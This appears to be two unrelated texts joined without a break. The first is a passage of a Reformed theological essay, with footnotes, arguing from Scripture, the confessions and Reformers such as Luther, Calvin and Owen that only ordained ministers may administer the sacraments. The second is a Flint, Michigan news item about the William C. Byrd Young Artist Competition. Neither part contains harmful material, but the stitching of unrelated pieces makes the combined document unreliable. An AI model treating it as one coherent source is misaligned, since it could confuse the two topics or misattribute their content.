of the Lord’s Supper and of Baptism. The Belgic Confession in Article 31 on “The Ministers, Elders and Deacons” says this; “We believe that the ministers of God’s Word, the elders, and the deacons ought to be chosen to their respective offices by a lawful election by the Church, with calling upon the name of the Lord, and in that order which the Word of God teaches. Therefore every one must take heed not to intrude himself by improper means, but is bound to wait till it shall please God to call him; that he may have testimony of his calling, and be certain and assured that it is of the Lord.” Here we see that elders and deacons are to be chosen to their respective offices. They must take heed not to intrude on the office, but in due time, as God, through the church, they may be called to function in those offices. These officers are to be defined and installed by biblical standards. 1 Timothy 3 and Titus 1 demonstrate the non-negotiable character of the minister of the Gospel, and the deacon. Most of what is listed in those two areas relate to the character of the men, though we know from those passage and others that elders are to be “apt to teach” and are the “heralds” of the Word of God (2 Tim. 2:24). By authoritative extension, elders or pastors are to baptize (Matthew 28:19), administer the Lord’s Supper (1 Cor. 11:1ff), and give themselves wholly to ministry of the Word and prayer (Acts 6:4).  In the ordination of the heralds of the Gospel message, we find they are installed or ordained by means of the church during a special time of ordination to the office. Paul, in 1 Tim. 5:22, directs Timothy, an Evangelist/Pastor, “Lay hands suddenly on no man.” With the prototype deacons of Acts 6:6, the Apostles “when they had prayed, they laid their hands on them.” In Acts 14:23 we find the Apostle involved in the ordination of elders, “And when they had ordained them elders in every church, and had prayed with fasting, they commended them to the Lord, on whom they believed.” So we are fully aware that for the early church there was a special ordination of men to the ministry to which the Lord did, in due time, through the church and those in authority, to ordain them to their work. This was even the case with the Apostle Paul in Acts 13:2, “As they ministered to the Lord, and fasted, the Holy Ghost said, Separate me Barnabas and Saul for the work whereunto I have called them.” And so they did.  Martin Luther wrote at length on the ordination of the minister. Luther writes, “To ordain is not to consecrate. Therefore, if we know a pious man we single him out and through the power of the Word which we possess we give him authority to preach the Word and to administer the Sacraments. This is to ordain.”[13] Luther’s conception of ordination is not a liturgical one but consists essentially in the regular call to the preaching office (Predigtampt), — to preach the Word and to administer the Sacraments, — and in the transmission of this office to the candidate. Out of this, out of this alone, the congregational ceremony develops. Four elements make up this “ordination”: — 1. The examination of the candidate as to his worthiness and fitness; 2. election to the office; 3. confirmation and commendation in the presence of the (calling) congregation; 4. the Church’s intercession for the chosen candidate.[14] He says, “First, — An examination having been made, either on this or on a preceding day, if they are found worthy, after being admonished through preaching, prayer shall be made by the Church for them and for the whole ministry, to wit, that God would deign to send laborers into His harvest, and preserve them faithful and constant in sound doctrine against the gates of hell, etc.” Luther also states that a mark of the church, or an outward demonstration of Christ’s visible Church, was the calling of real ministers to tend the flock. “The Church is known outwardly by the fact that it consecrates or calls ministers, or has offices which they occupy. For we must have bishops, pastors, or preachers, to give, administer and use, publicly and privately, the four things, or precious possessions, that have been mentioned, for the sake of and in the name of the Church, or rather because of their institution by Christ, as St. Paul says, in Ephesians 4:11, Accepit dona in hominibus, “and gave some to be apostles, prophets, evangelists, teachers and governors, etc.” The whole group cannot do these things, but must commit them, or allow them to be committed, to someone. What would happen if everyone wanted to speak or administer the sacraments and no one would yield to another? This duty must be committed to one person, and he alone must be allowed to preach, baptize, absolve, and administer the sacraments; all the rest must be content with this and agree to it. Wherever you see this, be assured that God’s people, the Christian, holy people, is present.”[15]  Calvin also explains this in a more comprehensive and direct manner. He says, “As to the Apostles so also to Pastors the preaching of the Word and the administration of the sacraments has been committed.” The relationship or extension of passages such as Matthew 28:19 apply to all those in authority, or deigned to authority by Christ for his church. For instance, Matthew 28:19 is often used in reference to “all Christians.” We should all go out and preach the Gospel. Should we all go and baptize though? Oftentimes this passage is wrest from its context. Careful exegetical work, or simply a sharp eye while reading the text, demonstrates that Jesus Christ made no reference whatsoever to all Christians. The fuller context reads, “Then the eleven disciples went away into Galilee, into a mountain where Jesus had appointed them. And when they saw him, they worshipped him: but some doubted. And Jesus came and spake unto them, saying, All power is given unto me in heaven and in earth. Go ye therefore, and teach all nations, baptizing them in the name of the Father, and of the Son, and of the Holy Ghost: Teaching them to observe all things whatsoever I have commanded you: and, lo, I am with you alway, even unto the end of the world. Amen.”[16] (Matthew 28:16-20) Davies and Allison state, “The eleven – the brethren of v. 10 whose forgiveness for their flight and denial is implicit – reflects Matthew’s precision: in accord with 27:3-10 Judas has been subtracted.”[17] The Greek text here bears out the relationship of the command to teach and baptize to the eleven – not to all Christians.[18] Jesus is instructing the Apostles to teach and baptize. This has no reference to all Christians inclusively, but does have reference to the extension of those who hold the office of the church. It should be evident that in this text we should conclude that it is “…Christ’s stipulation that the pastorate fulfill its Great Commission to preach and administer the sacraments.”[19] This the Reformers saw in common. Calvin explains, “When our Lord sent forth the apostles, he gave them a commission (as has been lately said) to preach the Gospel, and baptize those who believed for the remission of sins. He had previously commanded that they should distribute the sacred symbols of his body and blood after his example (Matthew 28:19; Luke 22:19). Such is the sacred, inviolable, and perpetual law, enjoined on those who succeed to the place of the apostles, — they receive a commission to preach the Gospel and administer the sacraments.”[20] Calvin also states, “Paul speaks not of himself only but of all pastors, when he says, “Let a man so account of us, as of the ministers of Christ, and stewards of the mysteries of God” (1 Corinthians 4:1). Again, in another passage, he describes a bishop as one “holding fast the faithful word as he hath been taught, that he may be able by sound doctrine both to exhort and convince the gainsayers” (Titus 1:9).”[21] The administration of the sacraments, according to Calvin’s understanding of a comprehensive systematic, is given to the ordained minister. “Our present purpose, however, is not to enumerate the separate qualities of a good pastor, but only to indicate what those profess who call themselves pastors — viz. that in presiding over the Church they have not an indolent dignity, but must train the people to true piety by the doctrine of Christ, administer the sacred mysteries, preserve and exercise right discipline.”[22] These ministers, according to Calvin, should conform and be viewed in light of the non-negotiable requirements of the Bible. “What persons should be elected bishops is treated at length by Paul in two passages (Titus 1:7; 1 Timothy 3:1). The substance is, that none are to be chosen save those who are of sound doctrine and holy lives, and not notorious for any defect which might destroy their authority and bring disgrace on the ministry.”[23] The difference between the Apostle, and the extension of this ordinary office ordaining men of non-negotiable qualities is seen in this statement, “As theirs was an extraordinary ministry, in order to render it conspicuous by some more distinguished mark, those who were to discharge it behoved to be called and appointed by the mouth of the Lord himself. It was not, therefore, by any human election, but at the sole command of God and Christ, that they prepared themselves for the work.”[24] It was not that the Apostles ordained themselves, or that subsequent offices are given the right to themselves. Nor are men, therefore, allowed to take office administration upon themselves. Rather, they are given the right, or bestowed with the right, of administration of the sacraments. This authority is stated by Calvin where he quotes Cyprian. “Rightly, therefore, does Cyprian contend for it as of divine authority, that the priest be chosen in presence of the people, before the eyes of all, and be approved as worthy and fit by public judgment and testimony, (Cyprian, Lib. i. Ep. 3). Indeed, we see that by the command of the Lord, the practice in electing the Levitical priests was to bring them forward in view of the people before consecration. Nor is Matthias enrolled among the number of the apostles, nor are the seven deacons elected in any other way, than at the sight and approval of the people (Acts 6:2). “Those examples,” says Cyprian, “show that the ordination of a priest behoved not to take place, unless under the consciousness of the people assisting, so that that ordination was just and legitimate which was vouched by the testimony of all.” We see, then, that ministers are legitimately called according to the word of God, when those who may have seemed fit are elected on the consent and approbation of the people. Other pastors, however, ought to preside over the election, lest any error should be committed by the general body either through levity, or bad passion, or tumult.”[25] It is no wonder, then, that in the formation of Calvin’s Catechism that Calvin places the order of his questions successively on this particular subject of ordained ministers next to the sacraments. These are questions 307-310, and their answers:  307. Is it necessary, then, that there should be pastors?  Yes; and that we should hear them, receiving the teaching of the Lord in humility by their mouth. Therefore whoever despises them and refuses to hear them, rejects Jesus Christ, and separates himself from the fellowship of the faithful (Matt. 10:40; Luke 10:16).  308. But is it enough to have been instructed by them once, or ought he to continue to do this?  It is little to have begun, unless you go on to persevere. We must continue to be disciples of Christ right to the end. But He has ordained the ministers of the Church to teach in His Name.  309. Is there no other means than the Word by which God communicates Himself to us?  To the preaching of His Word He has conjoined the Sacraments.  310. What is a Sacrament?  An outward attestation of the grace of God which, by a visible sign, represents spiritual things to imprint the promises of God more firmly in our hearts, and to make us more sure of them.  It is without a doubt that the Reformers, Dutch Theologians and English Puritans, in expounding and exegeting this topic from the Bible, say this is an integral part of the administration or hierarchy of the commandments of Christ for His church. In Germany, under the pen of Melancthon, we read this document signed by the electors and dukes of the country, “OF Ecclesiastical Order: they teach that no one should publicly teach in the Church or administer the Sacraments unless he be regularly called.”[26] Calling constitutes the ability to administer the sacraments. Article 29 of the Belgic Confession says, “The marks by which the true Church is known are these: If the pure doctrine of the gospel is preached therein; if it maintains the pure administration of the sacraments as instituted by Christ; if church discipline is exercised in chastening of sin; in short, if all things are managed according to the pure Word of God, all things contrary thereto rejected, and Jesus Christ acknowledged as the only Head of the Church. Hereby the true Church may certainly be known, from which no man has a right to separate himself.”[27] Most of the orthodox confessions of the Church refer to this pure administration as done by the minister of the Gospel and him alone. The Belgic Confession, Article 30 says this, “We believe that this true Church must be governed by that spiritual polity which our Lord has taught us in His Word; namely, that there must be ministers or pastors to preach the Word of God and to administer the sacraments; also elders and deacons, who, together with the pastors, form the council of the Church; that by these means the true religion may be preserved, and the true doctrine everywhere propagated, likewise transgressors chastened and restrained by spiritual means; also that the poor and distressed may be relieved and comforted, according to their necessities. By these means everything will be carried on in the Church with good order and decency, when faithful men are chosen, according to the rule prescribed by St. Paul in his Epistle to Timothy.” The Westminster Confession of Faith is even more graphic. “For the better attaining of these ends, the officers of the Church are to proceed by admonition; suspension from the sacrament of the Lord’s Supper for a season; and by excommunication from the Church; according to the nature of the crime, and demerit of the person. (I Thess. 5:12; II Thess. 3:6, 14, 15; I Cor. 5:4, 5, 13; Matt. 18:17; Tit. 3:10.)”[28] It also states, “There are only two sacraments ordained by Christ our Lord in the Gospel; that is to say, Baptism and the Supper of the Lord: neither of which may be dispensed by any but by a minister of the Word lawfully ordained. (Matt. 28:19; I Cor. 11:20, 23, I Cor. 4:1; Heb. 5:4.)”[29] It is seen, then, that the puritan witness to the Reformation standard holds true. The minister of the Word, and him alone, is able to administer the sacraments to the body of Christ. Even in the midst of Particular Baptist movement we find the same standard which resides in the Reformed standards, “A particular church, gathered and completely organized according to the mind of Christ, consists of officers and members; and the officers appointed by Christ to be chosen and set apart by the church (so called and gathered), for the peculiar administration of ordinances, and execution of power or duty, which he intrusts them with, or calls them to, to be continued to the end of the world, are bishops or elders, and deacons. (Acts 20:17, 28; Philippians 1:1)”[30] The Particular Baptists also saw the importance of the ordained minister and his relation to the administration of the sacraments, even though they structured their church government in a different fashion than most of Puritanism.  Within Puritanism, we could look through the tomes of Puritan writings on this subject and come away overwhelmed. Let us suffice with examining, for a moment, the teachings of John Owen, a very able representative of Puritan writing and Christian orthodoxy. As stated earlier, Owen saw that the role of pastor/teacher is consigned to the ordinary office of the church, not the extraordinary office. It is only temporary in terms of the end of the age, and the consummation of all things. As Jeremiah 31 says, when the consummation of all things takes place, in heaven, there will be no more need for teachers. In heaven, all will know the Lord, from the least to the greatest. However, now, during the inauguration of the Kingdom, teachers in their ordinary office are needed. Apostles, prophets and evangelists are offices of a temporary nature already done away with the passing of the theocracy of the prophets and the Apostolic age. Owen then says, “Let the bishops attend the particular flocks over which they are appointed, preaching the word, administering the holy ordinances of the gospel in and to their own flock, there will not be contending about them.”[31] It is the minister who administers the sacraments to his flock. These ministers are not self-authorized, but appointed by the church. Ordination in Scripture compriseth the whole authoritative translation of a man from among the number of his brethren into the state of an officer in the church.”[32] In this distinction, Owen writes a lengthy treatise in explaining the differences between the Pastors of the Church and the people of the Church. His intent is to demonstrate how both the people and the pastor have specific roles to fulfill in God’s post redemptive economy. “Farther; who are the subject of the keys, in whom all that secondary ecclesiastical power which is committed to men doth reside, after the determinations of so many learned men by clear Scripture light, shall not by me be called in question. All these, though conducing to the business in hand, would require a large discussion; and such a scholastical handling as would make it an inconsutilous piece of this popular discourse; my intent being only to show, — seeing there are, as all acknowledge, some under the New Testament, as well as the Old, peculiarly set apart by God’s own appointment for the administration of Christ’s ordinances, especially teaching of others by preaching of the gospel, in the way of office and duty, — what remaineth for the rest of God’s people to do, for their own and others’ edification.”[33] Though Christians are called priests as well as Pastors, there is a distinction. “All faithful ministers of the gospel, inasmuch as they are engrafted into Christ and are true believers, may, as all other true Christians, be called priests; but this inasmuch as they are members of Christ, not ministers of the gospel. It respecteth their persons, not their function, or not them as such.”[34] There is a distinction then between the sacrifices that the Christian priest brings, and the duty of the Pastors over a particular church. Christian priests have no warrant from the word to impose themselves on the duties that God has ordained for the minister. And there are only three biblical manners in which a minister of the Word, (Apostle, prophets, evangelists or pastors/teachers) may be called to that office; Owen says “1. By immediate revelation; 2. By a concurrence of Scripture rules directory for such occasions; 3. By some outward acts of Providence, necessitating him thereunto.”[35] Prophets were often called of God by immediate revelation from God; Jeremiah, Isaiah, etc. For the minister of the Gospel, such a calling rests not in the self-empowerment of the individual, but rather the internal calling of God on the minister’s heart, the providence of God through the church, and through the non-negotiable qualifications of the Word.  Such an office, Owen insists, is of the highest import and not just anyone is allowed to take the office. What we find is that the church is recognizing the power already invested in the special candidate for the task of overseeing the Chosen People of God. “Wherefore, where the Lord Christ doth not communicate of these abilities in such a measure as by virtue of them church-order may be observed, church-power exercised, and all church-ordinances administered according to his mind, unto the edification of the church, it is no more in the power of men to constitute officers than to erect and create an office in the church, Ephesians 4:11-15; 1 Corinthians 12:4-10, etc.; Romans 12:6-8. This wisdom is a spiritual gift, 1 Corinthians 12:8, whereby the officers of the church are enabled to make a due application of all the rules and laws of Christ, unto the edification of the church and all the members of it.[36] Unto the attaining of this wisdom are required, — 1) Fervent prayer for it, James 1:5. 2) Diligent study of the Scripture, to find out and understand the rules given by Christ unto this purpose, Ezra 7:10; 2 Timothy 2:1, 15. 3) Humble waiting on God for the revelation of all that it is to be exercised about, Ezekiel 43:11. 4) A conscientious exercise of the skill which they have received; talents traded with duly will increase. 5) A continual sense of the account which is to be given of the discharge of this great trust, being called to rule in the house of God, Hebrews 13:17.”[37] Accountability is a key aspect in the manner or discharge of the pastoral office. That is part of the reason that there should be setup an elder form of government where “elders” are ordained in every church; a plurality (Exodus 4:9; Acts 15:6; 1 Tim. 5:17; Titus 1:5; Hebrews 11:2; James 5:14; 1 Peter 5:1).  Some denominations discourage ordination. It may help some to more readily define what it means to ordain a person to the ministry, so that people are not empowering themselves to the work that should be done by the minister. This would apply to missionaries sent out to do church work, laymen who desire to take up teaching or preaching roles in a church, or outside of the church, and the like. What is ordination? Strong gives us a good outline; “Ordination is the setting apart of a person divinely called to a work of special ministration in the church. It does not involve the communication of power; it is simply recognition of powers previously conferred by God and a consequent formal authorization, on the part of the church, to exercise the gifts already bestowed. This recognition and authorization should not only be expressed by the vote in which the candidate is approved by the church or the council which represents it but should also be accompanied by a special service of admonition, prayer and the laying on of hands (Acts 6:5, 6; 13:2, 3; 14:23; 1 Timothy 4:14; 5:22). Licensure simply commends a man to the churches as fitted to preach. Ordination recognizes him as set apart to the work of preaching and administering ordinances, in some particular church or in some designated field of labor, as representative of the church.”[38] What is important here is that such actions are done as a “representative of the church.” John Gill also confirms this, even though his outlook is based along the lines of a baptistic form of church government, “The election and call of [ministers], with their acceptance, is ordination. The essence of ordination lies in the voluntary choice and call of the people, and in the voluntary acceptance of that call by the person chosen and called; for this affair must be by mutual consent and agreement, which joins them together as pastor and people. And this is done among themselves; and public ordination, so called, is no other than a declaration of that. Election and ordination are spoken of as the same; the latter is expressed and explained by the former. It is said of Christ, that he “ordained twelve”, Mark 3:14 that is, he chose them to the office of apostleship, as he 1733 himself explains it, John 6:70 see Acts 1:2. Paul and Barnabas are said to “ordain elders in every church”, Acts 14:23 or to choose them; that is, they gave orders and directions to every church, as to the choice of elders over them; for sometimes persons are said to do that which they give orders and directions for doing, as Moses and Solomon, with respect to building the tabernacle and temple, though done by others; and Moses particularly is said to choose the judges, Exodus 18:25 the choice being made under his direction and guidance. The word that is used in Acts 14:23 is translated chosen, 2 Corinthians 8:19 where the apostle speaks of a brother, ceirotouhyeiv, “who was chosen of the churches to travel with us”; and is so rendered when ascribed to God, Acts 10:41.”[39] When such men are ordained, what is their function? Gill says, “Pastors of churches feed souls by the administration of ordinances; these are the goodness and fatness of the house of God, with which the saints are richly fed, and abundantly filled and satisfied; these are the provisions of Zion, which the Lord blesses; these are breasts of consolation, out of which gracious souls suck, and are delighted and refreshed; these are green pastures, into which the shepherds of Israel lead their flocks and feed them.”[40] The administration of the sacraments are an integral part of the ministry of the Gospel Pastor. Richard Baxter makes this sarcastic comment about those who simply believe that coming into a pastoral position after ordination is just preaching and does not include social interaction and catechizing, “They commonly think, that a minister hath no more to do with them, but to preach to them, and administer the sacraments to them, and visit them in sickness; and that, if they hear him, and receive the sacraments from him, they owe him no further obedience, nor can he require any more at their hands.”[41] Even though this is a rebuke, Baxter still equates preaching and the administration of the sacraments to the minister.  Throughout church history men have always been ordained to Gospel work, and to the administration of the sacraments. Schaff notes, “No one can be a pastor who is not called, examined, ordained, or installed. In the examination, the candidate must give satisfactory evidence of his knowledge of the Scriptures, his soundness in doctrine, purity of motives, and integrity of character. If he proves worthy of the office, he receives a testimony to that effect from the Council to be presented to the congregation. If he fails in the examination, he must wait for another call and submit to another examination. The best mode of installation is by prayer and laying on of hands, according to the practice of the Apostles and the early Church; but it should be done without superstition.”[42]  Those who would take up the right of an ordained minister, by a true church, are rebelling against the given authority and structure of the church: God – Christ – [General Assembly of Elders – Presbytery of a given locale – Elders (or Session)][43] – Deacons – Congregation. Even the Methodist Arminian preacher John Wesley said, “All Presbyterian Churches, it is well known, that of Scotland in particular, license men to preach before they are ordained, throughout that whole kingdom; and it is never understood that this appointment to preach gives them any right to administer the sacraments. Likewise in our own Church, persons may be authorized to preach, yea, may be Doctors of Divinity, (as was Dr. Alwood at Oxford, when I resided there,) who are not ordained at all, and consequently have no right to administer the Lord’s Supper. Yea, even in the Church of Rome itself, if a lay-brother believes he is called to go a mission, as it is termed, he is sent out, though neither Priest nor Deacon, to execute that office, and not the other.”[44]  If we have a right understanding of what a minister is, then the possibility of unorthodox actions concerning the duties of minister may be kept in control. “A number of descriptive words shed light on biblical pastoral ministry. These include “ruler” (1 Thess. 5:12; 1 Tim. 3:4–5; 5:17), “ambassador” (2 Cor. 5:20), “steward” (1 Cor. 4:1), “defender” (Phil. 1:7), “minister” (1 Cor 4:1); “servant” (2 Cor. 4:5), and “example” (1 Tim. 4:12, 1 Pet. 5:3). The NT also tells the pastor to preach (1 Cor. 1:17), feed (1 Pet. 5:2), build up the church (Eph. 4:12), edify (2 Cor. 13:10), pray (Col. 1:9), watch for souls (Heb. 13:17), war (1 Tim. 1:18), convince (Titus 1:9), comfort (2 Cor. 1:4–6), rebuke (Titus 1:13), warn (Acts 20:31), admonish (2 Thess. 3:15), and exhort (Titus 1:9; 2:15).”[45] We should be keenly aware that it is the minister and his role that fulfills the administration of the Gospel sacraments.  A theology of “calling” may help protect the church from several extremes. One of these extremes is the view that a call is a private matter with little or no relationship or accountability to the church. Another view of calling separates the “professional” clergy from the laity. An adequate theology is also needed to help place proper focus on the servant quality of leadership consistent with Christ’s call to discipleship. A biblical call is quite divorced from cultural ideas of power. The case of Simon Magus who attempted to gain ecclesiastical preferment (Acts 8:5–24) stands out as a serious error to avoid. The English word “simony,” the buying or selling of church office or preferment, comes from this incident in Acts.[46]  It should also be noted that the sacraments are to be guarded by the minister. “The body is not without order; again, the kingdom of God is not a Rousseauian paradise. In most churches, only ordained ministers may administer the Supper, and even if this is an unnecessary remnant of clericalism, it is still true that in all properly functioning churches of Christ someone is designated as guardian of the table. Flagrant and impenitent sinners are to be cut off from the fellowship of the feast. In this way, the eucharist not only manifests and exercises proper relationships among the members of the body but also reveals the fundamental contours of the world as a whole. And not only “reveals”: since the exercise of church discipline centers on the table, the feast establishes boundaries, creating an in-group and an out-group. Those who participate in the feast are members of the body, to be treated as brothers and sisters, while those outside may be enemies of the church, apostates cut off from Christ, or the unevangelized. The feast draws the ever-shifting lines between the church and the world.”[47]  Ministers themselves should be quite zealous to see the church adhere to the proper doctrinal standards surrounding belief and practice. To allow anyone to administer the sacraments would be to give up the dictates of Christ’s commission to the authority of the church, and to give up the historical witness of confessionalism to the truth of it. “A minister stands in the pulpit not as an individual but as an ordained minister from a particular communion. “The public,” Dabney wrote, “hears [the minister’s] church in him.” Therefore, officers had a duty to keep those out of the ministry who did not consent to the church’s teaching.”[48] In this office, it is the duty of the minister to fulfill his calling. As Goodykoontz states, “The powers of the ministry are seen in preaching, in administering the sacraments, and in ruling.”[49]  This office is not something new. Ordination and its Gospel “powers” is not something new at all. It is the Biblical norm for minister to fulfill their ordinary office in this way, and there is a distinction between the laity and the minister in this respect. “More to the point, from the earliest centuries the church has seen it as a matter of good order that even higher standards be required of those who regularly conduct public worship, preach and administer the sacraments than are required of other elders and deacons. A setting apart of a presbyter, a presiding elder, from among the presbyters, who was responsible for the ministry of the word and sacraments, yet was still subject to the presbyters as a whole can be found among the oldest extra-biblical documents, including those dating from the first and second centuries. “The things which you have heard from me,” Paul tells Timothy, “these entrust to faithful men, who will be able to teach others also” ( 2 Tim 2:2 ). [50]  I think it is evident from the Biblical text as well as the cross section of material presented that ministers of the Gospel are those sole heirs of the authority of the apostles in the sense that they are to administer the sacraments under Christ’s direction. Theologians, pastors, and our confessions prove the point well. Christians, those who are not ministers of the Gospel but are involved in the church, have not been given the authority to administer the sacraments. This task has fallen to the ordained minister. It is not a task to take lightly and many often misunderstand the gravity of the office of minister who think that Christians who gather together at any time, whether with or without a minister present, could in good conscience administer the sacraments as they see fit. This happenstance is often the case when poor theology substitutes itself for orthodoxy. We must never be those who take matters into our own hands or who decide for ourselves what the constituted means of the church are or how they should be administered. I would venture to say that those who administer the sacraments in this way have never, at any time, sat with a respectable minister of the Gospel to express their views and learn as to whether their views are orthodox or not. We should take heed lest we wrest the sacraments from its proper context, or cause others to stumble in our mistakes. For instance, if a Christian man were to administer the Lord’s Supper in a bible study bereft of a minister, or himself being a minister, he would be teaching others in the study that such an act is acceptable and with biblical warrant. Doesn’t Jesus Christ command us to “all” partake of the cup? Shouldn’t we desire to have the “all” of our church present when such a act of unified fellowship takes place? Does not Paul instruct the Corinthians that when they “come together” they are to act in a certain accord with doctrinal and practical unity? How would this be done if the body of Christ is left out of the supper’s administration, or if it was distributed in this manner? And what if a Christian woman decided to baptize her next door neighbor in her pool because the neighbor made a profession of faith? Would such and act be lawfully administered? What would the neophyte think after the act, or even after a true minister explained to them that their baptism was not warranted in such an instance? That would bring reproach upon the Baptizer and the neophyte. It may even be a means to cause them to stumble. Just practically in the life of the church the self-empowered administer of the sacraments has no place in the authority structure of Christ’s people. Even the nature of the covenant church teaches us this.  May the Lord help us to see the necessity of a good minister, and the nobility of that office. And so I end with a notable quote from Thomas Murphy, “The nature of the gospel ministry is such that its duties cannot be too thoughtfully regarded. It is an office which was established by Christ himself, the great Head of the Church. Its commission is held from the authority of heaven, and it studies are connected with the kingdom of God. Would it have been ordained by this special appointment of our Lord for any other than the most important ends? What dignity it receives from the consideration that it has not come from the contrivance of human wisdom, but that is emanated directly from Jehovah! Do we know of any other office, held by mortals, that can be compared it in grandeur.”[51]  ——————————————————————————–  [1] Article 25, Of the Church, The Westminster Confession of Faith. The last line of the confession in this section concerning the Antichrist is often under what ministers may take as an “exception” clause. However, this may not necessarily be the case.  [2] The conjunction used is kai not de.  [3] John Calvin, Institutes of the Christian Religion, Book 4, Chapter 3.  [4] Herrington, History of the Westminster Assembly, Page 144. Emphasis Mine.  [5] John Owen, Works, Volume 16, Page 64.  [6] William Hendricksen, NT Commentary – Ephesians, Pages 196-197.  [7] Ibid.  [8] F.F. Bruce, NICNT – The Epistle to the Colossians, To Philemon, and to the Ephesians, Page 396.  [9] If you are unclear on the topic of “miracle” then checking 2 Corinthians 9 and Hebrews 2 should make it apparent that the sign or wonder of the miracle always surrounds the preached Apostolic message.  [10] Bibliotheca Sacra Volume 144, Vol. 144, Page 328, Dallas Theological Seminary, 1987;2002.  [11] Simon Kistemaker, NT Commentary – Acts, Baker Book House, Page 292.  [12] Meredith Kline, By Oath Consigned, Page 50.  [13] Martin Luther, The Works of Luther, Volume 15, Page 721.  [14] Ibid.  [15] Martin Luther, The Works of Luther, Volume 5, Pages 213-214  [16] Emphasis Mine.  [17] W.D. Davies and Dale C. Allison Jr., The International Critical Commentary – Matthew, Volume 3, Page 680.  [18] This does not mean that Christians are not to, by implication, go and share the Gospel with their neighbors or friends. However, one should realize that teaching and baptizing in this instance is not disjointed but conjoined. Christians should not just come to church, but “go” as well to share the Gospel with friends, relatives, neighbors, work associates, etc. They are not Apostles, nor are they heralds, the office kept for those ordained to it, but they are Christians.  [19] Westminster Theological Seminary. Westminster Theological Journal Volume 61, Vol. 61, Page 246, Westminster Theological Seminary, 1999;2002.  [20] John Calvin, Institutes of the Christian Religion, 4.3.2.  [21] Ibid.  [22] Ibid.  [23] Ibid. 4.3.12.  [24] Ibid 4.3.13.  [25] Ibid 4.3.15.  [26] The Augsburg Confession, Article 14.  [27] Emphasis Mine.  [28] Article 30, paragraph 4, The Westminster Confession of Faith.  [29] Article 27, paragraph 4, The Westminster Confession of Faith.  [30] Article 28, paragraph 8, The 1689 Baptist Confession of Faith.  [31] John Owen, Works, Volume 13, Page 289.  [32] John Owen, Works, Volume 13, Page 227.  [33] John Owen, Works, Volume 13, The Duty of Pastors distinguished from his people, Page 32.  [34] Ibid, Page 34.  [35] Ibid, Page 45.  [36] Owen is a cessationist, though he does believe that wisdom is still imparted to special offices of the church, elders and deacons, for the purpose of their office and their giftedness.  [37] John Owen, Works, Volume 16, Page 59.  [38] Augustus, H. Strong, Systematic Theology, Volume 3, Page 259.  [39] John Gill, A Body of Practical Divinity, Book 2, Chapter 3, Emphasis Mine.  [40] Ibid, 1742.  [41] Richard Baxter, The Reformed Pastor, Banner of Truth Trust, Page 129.  [42] Philip Schaff, History of the Christian Church, Volume 8, Page 402.  [43] All of these are the collective elders of the church.  [44] John Wesley, Works of John Wesley, Volume 7, Page 297.  [45] Master’s Seminary Journal Volume 6, Vol. 6, Page 150, Master’s Seminary, 1995;2002.  [46] Edward L. Hayesa, A Call to the Ministry, Bibliotheca Sacra Volume 157, Vol. 157, Page 91, DTS, 2000;2002.  [47] Peter J. Leithart ,The Way Things Really Ought to Be: Eucharist, Eschatology, and Culture, Westminster Theological Seminary. Westminster Theological Journal Volume 59, Vol. 59, Page 171, Westminster Theological Seminary, 1997;2002.  [48] D. G. Hart, The Tie That Divides: Presbyterian Ecumenism, Fundamentalism, And The History Of Twentieth-Century American Protestantism, Westminster Theological Seminary. Westminster Theological Journal Volume 60, Vol. 60, Page 99, Westminster Theological Seminary, 1998;2002.  [49] Westminster Theological Seminary. Westminster Theological Journal Volume 27, Vol. 27, Page 91, Westminster Theological Seminary, 1965;2002.  [50]Terry L. Johnson Liturgical Studies: The Pastor’s Public Ministry: Part One, Westminster Theological Seminary. Westminster Theological Journal Volume 60, Vol. 60, Page 132, Westminster Theological Seminary, 1998;2002.  [51] Thomas Murphy, Pastoral Theology, Old Paths Publications, Pages 24-25.
-FLINT, MI -- Vocalists from around the world will come to Flint in March to compete for their piece of more than $11,000 in prize money and a chance to perform with the Flint Symphony Orchestra.  On Saturday, March 1, the Flint Institute of Music and the St. Cecilia Society will host the 43rd annual William C. Byrd Young Artist Competition. The winner will receive $6,000 and the opportunity to perform with the Flint Symphony Orchestra, while second prize wins $2,500. The last three finalists will each be awarded $1,000.  This year's contestants are competing in voice. The competition has four categories: voice, piano, strings, and wind and brass, switching categories every year. Each contestant is 34 years old or younger.  Live auditions will be held from 9 a.m. to 4:30 p.m., with singers who applied by sending in CDs and got letters of recommendation. The preliminary judges will select five competitors to compete in the evening finals.  There will be a dinner before the finals at 5 p.m. in the Atrium at the Flint Institute of Music, open to the public at a cost for $20 per person. Reservations must be made by Saturday, Feb. 22. Checks should be made payable to the St. Cecilia Society and mailed to Mrs. Max Dean at 2566 Nolen Dr., Flint, MI 48504.  The finals begin at 7 p.m. in the MacArthur Recital Hall. There, the first and second place winners will be named; the other three finalists will not be ranked.  The William C. Byrd Young Artist Competition attracts musicians from around the world, many of whom are studying at prestigious schools of music. Carol Hinterman, chairman of the competition, said earlier that last year's competition included applicants from China (Beijing, Chengdu, and Shanghai) and Costa Rica, while previous applicants have hailed from the Union of South Africa, Egypt and more.  This year's field of contestants include a Russian studying in France, another Russian, a Korean, and a contestant from Chengdu, China. Hinterman said there were 25 applications, which is less than usual; she attributes the lower amount to the the winter storms that hit the East Coast and the Midwest to start the year.  The competition is completely run by volunteers, and since St. Cecilia's took over the competition, contestants are offered free meals and housing with area families.  Katherine Weintraub, a Florida native who studied at University of Michigan, won the grand prize in last year's competition for her performance of Villa Lobos's "Fantasia" on the soprano saxophone. Daniel Velasco, a University of Michigan student flutist from Quito, Ecuador, won second place with his performance of Concerto for Flute by Lieberman.  The other three finalists were Bowling Green University doctoral student Noa Even, University of Missouri-Kansas City student Amanda Hudnall, and Jonathan Wintringham, a graduate teaching assistant and masters of music student at Eastman.  William C. Byrd was the director of Flint Institute of Music and conductor of the Flint Symphony Orchestra from 1966 until his death in 1974. He died of a heart attack while conducting a pops concert in Wilson Park on a hot summer evening.  Byrd "had a dream of bringing some of the world's finest young talent to Flint, with the intent of showcasing virtually unknown rising young artists with the Flint Symphony Orchestra," according to the competition's web site.  The event was named "The Young Artist Competition" while Byrd was alive, but was renamed after he died to reflect his influence on the program.
